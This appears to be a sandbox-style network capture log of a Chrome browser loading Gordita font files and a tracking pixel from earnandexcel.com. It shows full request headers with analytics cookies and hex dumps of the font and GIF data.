https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:52 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 21:26:52 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:26:52 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
217	192.168.2.17	49976	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	2143	OUT	GET /wp-content/themes/edumall/assets/fonts/gordita/Gordita-Medium.ttf HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2
2024-04-11 21:26:52 UTC	938	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:52 GMT Content-Type: application/x-font-ttf Transfer-Encoding: chunked Connection: close CF-Ray: 872e0eb229e843a4-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1f128" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vuYCO5Jou6xMd2AnjwA%2B%2FYhSLQTf3YJyTQT57MmqEyX84WHq%2BepY%2B0zuV6Rf8u4%2BG4v0kCyPmcjRg3M7QObFjlZ5Fcc9%2B5w%2F1cgl20NiVXYpk0%2Ba44m%2F9yVmI8xkui2DZvc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:52 UTC	431	IN	Data Raw: 37 62 66 65 0d 0a 00 01 00 00 00 10 01 00 00 04 00 00 46 46 54 4d 8c 62 d3 64 00 01 f1 0c 00 00 00 1c 4f 53 2f 32 4e eb 6e b1 00 00 01 88 00 00 00 60 63 6d 61 70 a7 be e8 c8 00 00 0d 94 00 00 05 b6 66 65 61 74 40 33 0d dd 00 01 eb d8 00 00 00 64 67 61 73 70 ff ff 00 03 00 01 ea 78 00 00 00 08 67 6c 79 66 d3 68 d7 1f 00 00 19 24 00 00 fa b0 68 65 61 64 15 07 13 4e 00 00 01 0c 00 00 00 36 68 68 65 61 08 42 06 2c 00 00 01 44 00 00 00 24 68 6d 74 78 77 99 83 20 00 00 01 e8 00 00 0b ac 6b 65 72 6e 93 91 2f eb 00 01 13 d4 00 00 b5 8e 6c 6f 63 61 15 a3 53 a2 00 00 13 4c 00 00 05 d8 6d 61 78 70 03 34 00 6f 00 00 01 68 00 00 00 20 6d 6f 72 78 34 af 10 b8 00 01 ec 3c 00 00 04 d0 6e 61 6d 65 9e 3b 13 2a 00 01 c9 64 00 00 09 b0 70 6f 73 74 5c 15 d2 df 00 01 d3 14 00 Data Ascii: 7bfeFFTMbdOS/2Nn`cmapfeat@3dgaspxglyfh$headN6hheaB,D$hmtxw kern/locaSLmaxp4oh morx4<name;*dpost\
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 a1 00 02 ef 50 00 e0 fa 00 00 00 00 00 00 00 00 55 4b 57 4e 00 40 00 20 fb 04 04 28 fe f5 00 00 04 28 01 0b 20 00 01 97 00 00 00 00 02 16 03 0f 00 00 00 20 00 01 03 1f 00 5a 00 00 00 00 01 4d 00 00 01 08 00 00 01 38 00 4d 01 c6 00 38 03 3d 00 27 02 7b 00 27 03 6b 00 25 02 d9 00 30 00 fe 00 38 01 90 00 31 01 90 00 15 01 f3 00 29 02 6c 00 2d 01 33 00 3e 01 d0 00 45 01 24 00 3b 02 1c 00 20 02 fc 00 35 01 ce 00 07 02 91 00 30 02 87 00 28 02 c8 00 1f 02 7f 00 29 02 ad 00 35 02 67 00 1d 02 a7 00 34 02 ae 00 2e 01 39 00 45 01 3d 00 48 02 97 00 26 02 73 00 48 02 97 00 4e 02 16 00 20 03 63 00 34 03 0f 00 00 02 de 00 64 03 42 00 30 03 2d 00 64 02 97 00 64 02 82 00 64 03 55 00 30 03 41 00 64 01 42 00 64 02 4f 00 19 02 c7 00 64 02 50 00 64 Data Ascii: PUKWN@ (( ZM8M8='{'k%081)l-3>E$; 50()5g4.9E=H&sHN c4dB0-dddU0AdBdOdPd
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 00 30 02 a5 00 2b 02 c7 00 64 02 45 00 50 03 55 00 30 02 a5 00 2b 03 0e 00 00 02 3f 00 2f 04 1d ff f4 03 b7 00 2f 03 8a 00 31 02 8f 00 2d 02 81 00 27 01 f7 00 20 02 94 00 14 01 a0 00 17 01 1e ff d7 01 9f 00 14 01 94 00 14 00 c6 00 14 01 90 00 04 01 dc 00 14 00 00 ff 84 00 00 ff 84 00 00 ff 44 00 00 ff 3c 00 00 ff 53 00 00 ff 4a 00 00 ff b1 00 00 ff 46 00 00 ff 6e 00 00 ff 26 00 00 ff 44 00 00 ff b8 00 00 ff ba 00 00 ff 7e 00 00 ff a3 03 84 00 30 03 6b 00 3a 02 d6 00 30 02 c6 00 15 02 97 00 64 03 4a 00 15 02 4f 00 64 03 42 00 30 02 81 00 27 01 42 00 64 01 42 ff e9 02 4f 00 19 04 c7 00 16 04 ca 00 64 03 5e 00 15 02 c7 00 64 02 c4 00 04 03 3b 00 64 03 0f 00 00 02 d7 00 64 02 de 00 64 02 4f 00 64 03 38 00 0f 02 97 00 64 04 20 00 01 02 84 00 23 03 50 00 64 03 Data Ascii: 0+dEPU0+?//1-' D<SJFn&D~0k:0dJOdB0'BdBOd^d;dddOd8d #Pd
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 4a 03 f0 00 4a 02 fd 00 35 01 4d 00 4f 01 38 00 4d 02 19 00 28 02 17 00 28 01 51 00 50 01 ce 00 1e 01 ce 00 28 01 b3 00 64 01 b3 00 27 01 95 00 33 01 95 00 18 04 00 00 4c 02 63 00 4c 01 d6 00 48 02 8f 00 2f 02 90 00 41 01 95 00 2f 01 95 00 41 02 59 00 2c 02 81 00 27 02 97 00 93 02 d5 00 31 02 d5 00 31 01 ce 00 07 02 86 00 32 02 88 00 28 02 c8 00 1f 02 7f 00 29 02 ad 00 35 02 67 00 1d 02 a7 00 34 02 ae 00 2e 02 a8 00 24 02 a8 00 24 02 a8 00 3b 02 a8 00 40 02 a8 00 3e 02 a8 00 24 02 a8 00 42 02 a8 00 2e 02 a8 00 3d 02 a8 00 35 02 a8 00 2e 02 a8 00 24 02 a8 00 24 02 a8 00 3b 02 a8 00 42 02 a8 00 3e 02 a8 00 24 02 a8 00 3f 02 a8 00 30 02 a8 00 3d 02 a8 00 35 02 a8 00 2e 02 a8 00 50 02 a8 00 36 02 a8 00 3d 02 a8 00 24 02 a8 00 1a 02 a8 00 14 02 a8 00 2b 02 a8 Data Ascii: JJ5MO8M((QP(d'3LcLH/A/AY,'112()5g4.$$;@>$B.=5.$$;B>$?0=5.P6=$+
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 00 18 00 19 00 1a 00 1b 00 1c 00 1d 00 1e 00 1f 00 20 00 21 00 22 00 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2a 00 2b 00 2c 00 2d 00 2e 00 2f 00 30 00 31 00 32 00 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3a 00 3b 00 3c 00 3d 00 3e 00 3f 00 40 00 41 00 42 00 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4a 00 4b 00 4c 00 4d 00 4e 00 4f 00 50 00 51 00 52 00 53 00 54 00 55 00 56 00 57 00 58 00 59 00 5a 00 5b 00 5c 00 5d 00 5e 00 5f 00 60 00 61 00 00 00 84 00 85 00 87 00 89 00 91 00 96 00 9c 00 a1 00 a0 00 a2 00 a4 00 a3 00 a5 00 a7 00 a9 00 a8 00 aa 00 ab 00 ad 00 ac 00 ae 00 af 00 b1 00 b3 00 b2 00 b4 00 b6 00 b5 00 ba 00 b9 00 bb 00 bc 02 1e 00 70 00 63 00 64 00 68 02 20 00 76 00 9f 00 6e 00 6a 02 38 00 74 00 69 02 58 00 86 00 98 02 54 00 71 02 59 02 5a 00 Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`apcdh vnj8tiXTqYZ
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: fe 4d 0c 4d 3a 4d 88 4d bc 4e 14 4e 3a 4e 92 4e be 4f 00 4f 48 4f 8a 4f d8 50 2a 50 48 50 64 50 96 50 c6 51 06 51 46 51 72 51 9c 51 e2 52 2a 52 76 52 bc 52 e6 53 02 53 3e 53 70 53 a0 53 c2 53 fc 54 34 54 7a 54 bc 54 fe 55 30 55 6e 55 90 55 b0 55 f8 56 38 56 5c 56 84 56 a8 56 d0 57 08 57 44 57 66 57 88 57 ba 58 06 58 24 58 40 58 4e 58 5c 58 7a 58 9a 58 b8 58 ee 59 24 59 5a 59 70 59 8c 59 a0 59 d4 5a 30 5a 42 5a 54 5a 8c 5a d8 5a e6 5b 1a 5b 6a 5b a8 5b e2 5c 0e 5c 46 5c 8e 5c b4 5c e4 5d 22 5d 3a 5d 64 5d 90 5d bc 5d ee 5e 28 5e 50 5e 80 5e ca 5f 28 5f 78 5f ec 60 56 60 a4 60 be 60 d8 60 f2 61 0c 61 2a 61 46 61 62 61 7e 61 aa 61 d0 61 f6 62 1a 62 40 62 66 62 a0 62 b6 62 cc 62 e8 62 f6 63 0a 63 6e 63 8e 63 b2 63 ea 64 0c 64 26 64 40 64 d4 64 e2 64 f8 65 06 Data Ascii: MM:MMNN:NNOOHOOPPHPdPPQQFQrQQRRvRRSS>SpSSST4TzTTU0UnUUUV8V\VVVWWDWfWWXX$X@XNX\XzXXXY$YZYpYYYZ0ZBZTZZZ[[j[[\\F\\\]"]:]d]]]^(^P^^_(_x_`V````aa*aFaba~aaabb@bfbbbbbccncccdd&d@ddde
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 35 34 26 27 37 16 12 1d 01 14 06 48 33 d8 71 67 33 84 93 92 88 42 9e 01 0a 1c 87 db 4c 41 4a ff 00 a4 1d a3 fc 00 00 01 00 29 01 83 01 ca 03 0f 00 0e 00 00 13 37 27 37 17 35 33 15 37 17 07 17 07 27 07 5f 55 8b 1a 8b 56 8b 1b 8b 55 43 58 57 01 b4 76 2e 4f 2d 95 95 2d 4f 2e 76 31 76 76 00 00 00 00 01 00 2d 00 6a 02 3f 02 6e 00 0b 00 00 13 35 33 35 33 15 33 15 23 15 23 35 2d d1 70 d1 d1 70 01 37 6d ca ca 6d cd cd 00 01 00 3e ff 5e 00 f5 00 aa 00 11 00 00 17 27 36 37 06 23 22 26 35 34 36 33 32 16 1d 01 14 06 7c 36 43 20 0e 10 1f 2e 32 28 27 36 42 a2 30 2f 4a 06 2f 23 25 32 40 32 05 3c 72 00 00 01 00 45 01 08 01 8b 01 81 00 03 00 00 13 21 15 21 45 01 46 fe ba 01 81 79 00 00 00 01 00 3b ff fb 00 e9 00 aa 00 0a 00 00 37 34 36 33 32 16 15 14 06 22 26 3b 33 24 25 Data Ascii: 54&'7H3qg3BLAJ)7'7537'_UVUCXWv.O--O.v1vv-j?n53533##5-pp7mm>^'67#"&54632\|6C .2('6B0/J/#%2@2<rE!!EFy;74632"&;3$%
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 03 00 07 00 00 13 21 15 21 15 21 15 21 48 01 e3 fe 1d 01 e3 fe 1d 02 31 6f a8 6f 00 00 00 01 00 4e 00 27 02 71 02 6d 00 06 00 00 01 15 05 35 2d 01 35 02 71 fd dd 01 8b fe 75 01 77 58 f8 76 ae ae 74 00 00 00 00 02 00 20 ff f9 01 ef 03 1a 00 1b 00 24 00 00 01 32 16 15 14 06 07 0e 01 1d 01 23 35 34 36 3f 01 36 35 34 26 23 22 06 07 27 3e 01 02 14 16 33 32 36 34 26 22 01 0a 62 83 3c 43 29 23 73 27 2d 1b 4e 39 2c 29 46 13 67 19 78 10 2e 20 21 2e 2f 40 03 1a 77 5c 3d 54 3a 23 35 26 18 2d 34 4d 27 17 45 37 28 34 30 2f 39 41 55 fd 4e 42 2d 2d 42 2e 00 00 00 00 02 00 34 ff ad 03 3d 02 cf 00 32 00 3e 00 00 25 22 26 27 0e 01 23 22 26 35 34 36 33 32 16 17 37 33 07 06 33 32 36 35 34 26 23 22 06 15 14 1e 01 33 32 37 17 0e 01 23 22 26 35 34 36 33 32 16 15 14 06 01 22 06 Data Ascii: !!!!H1ooN'qm5-5quwXvt $2#546?654&#"'>3264&"b<C)#s'-N9,)Fgx. !./@w\=T:#5&-4M'E7(40/9AUNB--B.4=2>%"&'#"&546327332654&#"327#"&54632"
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 22 26 35 34 36 33 32 16 15 14 07 17 00 14 16 33 32 37 27 37 17 36 35 34 26 23 22 03 0f 60 6a 85 a8 e8 ec a7 a8 e9 51 5a fd 54 9e 73 4d 44 91 4f 94 2e 9f 72 73 11 54 4c e3 ac aa ea e6 ab 8a 6a 4c 01 b8 f0 a8 2a 7d 5a 83 49 59 78 a7 00 00 00 00 02 00 64 00 00 02 a9 03 0f 00 0d 00 18 00 00 13 21 32 16 15 14 06 07 13 23 03 23 11 23 13 33 32 36 35 34 2e 02 2b 01 64 01 26 89 82 57 4f ba 8b aa 95 7b 7b 9e 52 49 0d 20 40 2e 9e 03 0f 8a 67 52 74 1a fe c2 01 29 fe d7 01 98 4d 36 19 2a 28 17 00 00 00 01 00 27 ff f7 02 51 03 1a 00 26 00 00 05 22 26 27 37 1e 01 33 32 36 35 34 26 27 26 27 26 35 34 36 33 32 16 17 07 26 23 22 06 15 14 16 17 16 17 16 15 14 06 01 47 67 98 21 68 19 61 40 3c 4d 49 54 7f 39 3c 97 6d 63 82 1c 66 2d 71 39 4a 49 48 91 38 38 90 09 62 5a 36 3f 43 Data Ascii: "&54632327'7654&#"`jQZTsMDO.rsTLjL}ZIYxd!2###32654.+d&WO{{RI @.gRt)M6('Q&"&'732654&'&'&54632&#"Gg!ha@<MIT9<mcf-q9JIH88bZ6?C
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 36 33 32 16 17 35 33 11 14 06 23 22 27 37 16 33 32 36 3d 01 0e 01 13 34 26 22 06 14 16 32 36 01 2f 71 93 91 77 2b 66 1d 74 99 7e c3 4a 63 38 70 46 5c 1d 68 87 58 8e 58 59 8c 59 04 a2 6f 6a a8 2d 2d 51 fd f1 7e 94 a2 39 71 53 50 54 2e 2c 01 13 46 60 5f 8e 61 61 00 01 00 50 00 00 02 2f 03 2e 00 11 00 00 21 11 34 26 23 22 06 15 11 23 11 33 11 36 32 16 15 11 01 b8 3b 3b 38 43 77 77 3e c4 66 01 2b 3c 49 4a 3d fe d7 03 2e fe a4 4f 78 60 fe b7 00 02 00 3d 00 00 00 d9 03 12 00 07 00 0b 00 00 12 34 36 32 16 14 06 22 17 23 11 33 3d 2e 40 2e 2e 40 5c 77 77 02 a3 40 2f 2f 40 2e 5f fd ea 00 00 02 ff d7 fe f7 00 e2 03 12 00 09 00 16 00 00 12 34 36 33 32 16 14 06 23 22 07 11 14 06 23 22 27 15 16 33 32 35 11 44 2e 20 21 2f 2f 21 20 1b 2d 35 11 0d 19 1d c2 02 a3 40 2f 2f Data Ascii: 63253#"'7326=4&"26/qw+ft~Jc8pF\hXXYYoj--Q~9qSPT.,F`_aaP/.!4&#"#362;;8Cww>f+<IJ=.Ox`=462"#3=.@..@\ww@//@._4632#"#"'325D. !//! -5@//

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
218	192.168.2.17	49977	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:52 UTC	2144	OUT	GET /wp-content/themes/edumall/assets/fonts/gordita/Gordita-Regular.ttf HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/gordita/font-gordita.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2
2024-04-11 21:26:52 UTC	930	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:52 GMT Content-Type: application/x-font-ttf Transfer-Encoding: chunked Connection: close CF-Ray: 872e0eb23c403308-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df32df-1ebc0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:07 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VT8wfsE2%2Fgt8etvmk5NoMGAVeAO%2BLAL9K%2FL24Ph%2FIiLvzZBG8oVTI98R2aTnsYVFdRWQHCiBAiYB7HNUjzcrrlZD66kOmvBtyK6khqIJAyJPB7xp6EnRnRf288%2FqWdb8ur0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:52 UTC	439	IN	Data Raw: 32 39 38 63 0d 0a 00 01 00 00 00 10 01 00 00 04 00 00 46 46 54 4d 8c 71 cd ea 00 01 eb a4 00 00 00 1c 4f 53 2f 32 4e 87 6e a2 00 00 01 88 00 00 00 60 63 6d 61 70 6e c1 29 0a 00 00 0d 94 00 00 05 ae 66 65 61 74 40 33 0d dd 00 01 e6 60 00 00 00 64 67 61 73 70 ff ff 00 03 00 01 e5 00 00 00 00 08 67 6c 79 66 d6 c7 6f 98 00 00 19 1c 00 00 fc d8 68 65 61 64 15 25 0e 00 00 00 01 0c 00 00 00 36 68 68 65 61 08 51 05 d4 00 00 01 44 00 00 00 24 68 6d 74 78 4f 30 94 74 00 00 01 e8 00 00 0b ac 6b 65 72 6e 02 3f ad f7 00 01 15 f4 00 00 ae 4a 6c 6f 63 61 a2 59 e0 98 00 00 13 44 00 00 05 d8 6d 61 78 70 03 34 00 6f 00 00 01 68 00 00 00 20 6d 6f 72 78 38 76 14 99 00 01 e6 c4 00 00 04 e0 6e 61 6d 65 ef 84 7d e5 00 01 c4 40 00 00 09 5c 70 6f 73 74 80 c0 aa 38 00 01 cd 9c 00 Data Ascii: 298cFFTMqOS/2Nn`cmapn)feat@3`dgaspglyfohead%6hheaQD$hmtxO0tkern?JlocaYDmaxp4oh morx8vname}@\post8
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 00 a1 00 02 ef 50 00 e0 fa 00 00 00 00 00 00 00 00 55 4b 57 4e 00 40 00 20 fb 04 04 28 fe f5 00 00 04 28 01 0b 20 00 01 97 00 00 00 00 02 16 03 0f 00 00 00 20 00 01 03 1f 00 5a 00 00 00 00 01 4d 00 00 01 17 00 00 01 1e 00 54 01 93 00 3f 03 3d 00 28 02 6f 00 32 03 60 00 27 02 cc 00 35 00 da 00 3f 01 8d 00 36 01 8d 00 1a 01 fb 00 31 02 4f 00 32 01 1f 00 44 01 b4 00 4b 01 17 00 44 01 ec 00 23 02 ff 00 3a 01 ae 00 0d 02 83 00 37 02 84 00 31 02 a9 00 1e 02 76 00 2e 02 a2 00 3c 02 61 00 26 02 9a 00 3a 02 a4 00 37 01 26 00 4b 01 2e 00 4e 02 81 00 28 02 6b 00 4e 02 81 00 53 01 ff 00 22 03 61 00 38 03 07 00 03 02 dd 00 6d 03 45 00 36 03 29 00 6d 02 98 00 6d 02 7b 00 6d 03 59 00 36 03 3c 00 6d 01 2c 00 6d 02 41 00 1e 02 a5 00 6d 02 47 00 6d 04 0b 00 6d 03 58 00 6d Data Ascii: PUKWN@ (( ZMT?=(o2`'5?61O2DKD#:71v.<a&:7&K.N(kNS"a8mE6)mm{mY6<m,mAmGmmXm
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 00 6d 02 21 00 58 03 5b 00 36 02 a1 00 32 03 07 00 03 02 38 00 33 04 17 ff f7 03 c7 00 33 03 84 00 38 02 8e 00 34 02 74 00 31 01 ec 00 28 02 88 00 15 01 7c 00 19 01 07 ff e5 01 84 00 14 01 6c 00 14 00 a0 00 14 01 99 00 12 01 9f 00 14 00 00 ff 9a 00 00 ff 9a 00 00 ff 52 00 00 ff 45 00 00 ff 58 00 00 ff 5e 00 00 ff c4 00 00 ff 66 00 00 ff 74 00 00 ff 44 00 00 ff 52 00 00 ff c4 00 00 ff c4 00 00 ff 88 00 00 ff af 03 7f 00 36 03 68 00 3d 02 d5 00 37 02 b9 00 11 02 98 00 6d 03 4f 00 16 02 45 00 6d 03 45 00 36 02 74 00 31 01 2c 00 6d 01 2c ff f7 02 41 00 1e 04 b6 00 11 04 cf 00 6d 03 5c 00 16 02 a5 00 6d 02 b7 00 0c 03 37 00 6d 03 07 00 03 02 d0 00 6d 02 dd 00 6d 02 45 00 6d 03 29 00 10 02 98 00 6d 03 e8 ff ff 02 85 00 31 03 49 00 6d 03 49 00 6d 02 a5 00 6d 03 Data Ascii: m!X[6283384t1(\|lREX^ftDR6h=7mOEmE6t1,m,Am\m7mmmEm)m1ImImm
2024-04-11 21:26:52 UTC	1369	IN	Data Raw: 55 01 28 00 5a 02 01 00 2a 01 ff 00 2a 01 3e 00 57 01 b2 00 1e 01 b2 00 29 01 a7 00 6d 01 a7 00 28 01 91 00 37 01 91 00 1b 04 0a 00 51 02 6d 00 51 01 ba 00 4e 02 40 00 35 02 40 00 4b 01 64 00 35 01 64 00 4b 02 58 00 31 02 74 00 31 03 61 00 38 00 00 ff e8 02 e6 00 3b 02 e6 00 3b 01 ae 00 0d 02 78 00 3b 02 84 00 31 02 a9 00 1e 02 76 00 2e 02 a2 00 3c 02 61 00 26 02 9a 00 3a 02 a4 00 37 02 a8 00 2e 02 a8 00 2e 02 a8 00 4b 02 a8 00 51 02 a8 00 44 02 a8 00 2d 02 a8 00 4b 02 a8 00 3c 02 a8 00 4a 02 a8 00 41 02 a8 00 3c 02 a8 00 2e 02 a8 00 2e 02 a8 00 4b 02 a8 00 4e 02 a8 00 44 02 a8 00 2d 02 a8 00 4b 02 a8 00 3c 02 a8 00 4a 02 a8 00 41 02 a8 00 3b 02 a8 00 4b 02 a8 00 41 02 a8 00 44 02 a8 00 30 02 a8 00 20 02 a8 00 2b 02 a8 00 2f 02 a8 00 1f 02 a8 00 51 02 a8 Data Ascii: U(Z**>W)m(7QmQN@5@Kd5dKX1t1a8;;x;1v.<a&:7..KQD-K<JA<..KND-K<JA;KAD0 +/Q
